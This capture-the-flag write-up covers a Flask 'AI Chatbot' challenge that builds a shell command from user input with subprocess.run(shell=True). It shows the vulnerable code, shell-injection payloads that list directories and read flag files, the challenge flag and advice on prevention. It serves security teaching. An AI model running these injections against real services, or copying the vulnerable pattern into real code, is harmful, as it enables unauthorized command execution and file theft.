AI Chatbot

Overview

This challenge is a simple web application with an "AI Chatbot" feature allowing users to input their name. The backend uses subprocess.run() with shell=True parameter to execute commands, creating a classic Command Injection vulnerability.

Challenge Information

• Category: Web Security
• Difficulty: Easy
• Points: 100
• Vulnerability: Command Injection
• Skills: Python Flask, Command Injection, Linux Commands

Vulnerability Analysis

Source Code

Here is the vulnerable code snippet:

@app.route('/chatbot', methods=['GET', 'POST'])
def chatbot():
    if request.method == 'GET':
        return render_template('chatbot.html')
    
    name = request.form['name']  # Input from user
    command = "echo " + name     # ⚠️ Concatenated directly into command!
    
    response = subprocess.run(command, shell=True, capture_output=True)
    return render_template('chatbot.html', name=response.stdout.decode('utf-8'))

The Problem

1. Unvalidated Input: Data from user is taken directly without checking
2. Direct String Concatenation: Input is appended to shell command using + operator
3. shell=True: Allows execution of any shell command
4. No Sanitization: Does not remove dangerous special characters

Risks

An attacker can:

• Execute any system command
• Read sensitive files (flag, /etc/passwd, source code)
• Modify system files
• Create reverse shell to control server
• Delete critical data

Exploitation

How It Works

Command Injection works by inserting special characters to separate commands:

Step 1: List Files

First, find where the flag is:

# Payload
test; ls -la

# Actual executed command
echo test; ls -la

The result will show the list of files in the current directory.

Step 2: Find Flag

Try to find the flag file:

# Payload 1: Search in current directory
; ls -la

# Payload 2: Search in parent directory
; ls ../

Step 3: Read Flag

After finding the flag location (assume it's flag.txt):

# Payload
; cat flag.txt

# Or
test && cat flag.txt

# Or
| cat flag.txt

Step 4: Read Multiple Flags at Once

When there are multiple flag files (flag1.txt, flag2.txt, ...), wildcard * can be used to read all at once:

# Payload - Read all flag files:
; cat ../flag*.txt

# If folder contains many other flag file types (flag_secret.txt), still use wildcard:
; cat ../flag*.txt

This way will print the entire content of all flag files to the screen, helping you avoid manually cat-ting each file.

Command Injection flag file list output Result of listing flag files on server from command injection vulnerability.

Key Takeaways

For Developers

1. Never trust user input

   • Always validate and sanitize all data from user

2. Avoid shell=True

   • Use argument lists instead of string commands
   • If shell is mandatory, must escape properly

3. Principle of Least Privilege

   • Run application with minimum privileges
   • Do not run web server with root privileges

4. Input validation

   • Whitelist allowed characters
   • Reject dangerous special characters: ;, |, &, $, `, (), {}, []

5. Use Safe Alternatives

   • Replace subprocess with safer Python libraries
   • For echo, no need to call shell command

For Security Testers

1. Identify injection points

   • Find everywhere user input is processed
   • Test with special characters

2. Test systematically

   • Try one payload type at a time
   • Document results

3. Check for output

   • Sometimes output is not visible (blind injection)
   • Can use time-based or out-of-band techniques

Flag

BPCTF{N0w-y0u-kn0w-c0mmand-1nj3ct10n_072ac70226918ab44c3b78f5cf4a1825}